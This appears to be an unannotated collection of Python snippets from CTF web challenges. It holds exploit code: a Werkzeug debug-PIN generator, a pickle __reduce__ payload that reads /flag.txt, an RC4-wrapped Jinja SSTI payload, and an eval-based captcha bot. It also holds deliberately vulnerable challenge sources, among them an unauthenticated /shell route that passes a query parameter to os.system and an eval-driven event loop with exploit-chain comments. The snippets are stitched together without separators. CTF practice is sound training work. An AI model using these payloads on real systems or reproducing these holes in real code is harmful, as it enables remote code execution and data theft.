#脚本出处：https://xz.aliyun.com/t/2553
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py' 
]

private_bits = [
    '2485377957891',# address
    'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

import requests

url = "http://4186a81c-5092-4d1c-b2c3-6d753ef436c7.node3.buuoj.cn/shop?page={}"
cookies = {
    "_xsrf": "2|9abd3196|175f180123b348c52281c861b9ea6ba9|1593758159",
    "JWT": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhMDFoIn0.xjww69DlZAtZw_26KzwvCZc"
           "-WhNxACW3PuvxHlQQ2yg",
    "commodity_id": "2|1:0|10:1593758858|12:commodity_id|4:Nw"
                    "==|42eb3fadf203ceac3f14f89b8e7a575d5350b31a29c08f6a939d099435027244 "
}

for i in range(1, 501):
    rq = requests.get(url=url.format(i), cookies=cookies)
    if "/static/img/lv/lv6.png" in rq.text:
        print(url.format(i))

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒：%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒：%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是：%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

from requests import *
import re
import time
import requests

url = "http://7a9216ad-bfec-45c5-a89e-71e8190e8299.node3.buuoj.cn/"
s = requests.session()
a = s.get(url)
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post(url, data={"answer": c})
for i in range(1000):
    time.sleep(0.1)
    pattern = re.findall(r'\d+.[+-].\d+', a.text)
    c = eval(pattern[0])
    print(c)
    a = s.post(url, data={"answer": c})
print(a.content)

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
	# event = ['action:buy;5', 'action:get_flag;']
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
	# haystack = action:trigger_event%23;action:buy;5%23action:get_flag;
	# prefix = trigger_event%23;
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
        	# event = action:trigger_event%23;action:buy;5%23action:get_flag;
            is_action = event[0] == 'a'
            # action = trigger_event%23
            action = get_mid_str(event, ':', ';')
            # args = ['action:buy;5', 'action:get_flag;']
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                	# event_handler = trigger_event#_handler
                    action + ('_handler' if is_action else '_function'))
                # ret_val = trigger_event(['action:buy;5', 'action:get_flag;'])
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')